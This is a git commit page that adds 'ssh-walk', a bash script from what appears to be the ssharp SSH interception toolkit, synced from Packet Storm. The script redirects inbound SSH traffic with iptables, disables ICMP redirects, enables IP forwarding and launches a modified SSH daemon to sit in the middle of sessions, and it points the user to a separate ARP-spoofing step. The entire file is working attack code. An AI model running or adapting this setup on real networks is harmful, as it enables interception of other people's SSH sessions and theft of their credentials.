diff options
| author | SkyperTHC | 2026-03-03 06:28:55 +0000 |
|---|---|---|
| committer | SkyperTHC | 2026-03-03 06:28:55 +0000 |
| commit | 5d3573ef7a109ee70416fe94db098fe6a769a798 (patch) | |
| tree | dc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /other/ssharp/ssh-walk | |
| parent | c6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff) | |
packetstorm sync
Diffstat (limited to 'other/ssharp/ssh-walk')
| -rw-r--r-- | other/ssharp/ssh-walk | 46 |
1 files changed, 46 insertions, 0 deletions
diff --git a/other/ssharp/ssh-walk b/other/ssharp/ssh-walk new file mode 100644 index 0000000..eb23e08 --- /dev/null +++ b/other/ssharp/ssh-walk | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | #!/bin/bash | ||
| 2 | |||
| 3 | # set this path to a ssharpd binary | ||
| 4 | SSHARPD=./ssharp/__sshd | ||
| 5 | |||
| 6 | echo -n "Setting up ssh traffic redirection... " | ||
| 7 | iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 1000:8000 -j REDIRECT --to-ports 10000 2> /dev/null | ||
| 8 | if [ "$?" != "0" ]; then | ||
| 9 | echo "Error!" | ||
| 10 | exit 1 | ||
| 11 | fi | ||
| 12 | |||
| 13 | iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 20000:60000 -j REDIRECT --to-ports 10000 | ||
| 14 | if [ "$?" != "0" ]; then | ||
| 15 | echo "Error!" | ||
| 16 | exit 1 | ||
| 17 | fi | ||
| 18 | |||
| 19 | echo "done." | ||
| 20 | |||
| 21 | echo -n "Configuring interfaces... " | ||
| 22 | for x in `ls /proc/sys/net/ipv4/conf`; do | ||
| 23 | echo 0 > /proc/sys/net/ipv4/conf/$x/send_redirects | ||
| 24 | done | ||
| 25 | |||
| 26 | echo 1 > /proc/sys/net/ipv4/ip_forward | ||
| 27 | echo "done." | ||
| 28 | |||
| 29 | |||
| 30 | echo > /tmp/____asd | ||
| 31 | echo -n "Starting daemon... " | ||
| 32 | $SSHARPD -4 -p 10000 < /tmp/____asd 2> /dev/null | ||
| 33 | |||
| 34 | if [ "$?" != "0" ]; then | ||
| 35 | echo "Error!" | ||
| 36 | rm -rf /tmp/____asd | ||
| 37 | exit 1 | ||
| 38 | fi | ||
| 39 | rm -rf /tmp/____asd | ||
| 40 | echo "done." | ||
| 41 | |||
| 42 | echo "Dropping vicki@incidents.org a hint about suspicious traffic... " | ||
| 43 | echo "Error!" | ||
| 44 | |||
| 45 | echo "Now run arp.sh (uhh.. did you already write it?)" | ||
| 46 | \ No newline at end of file | ||
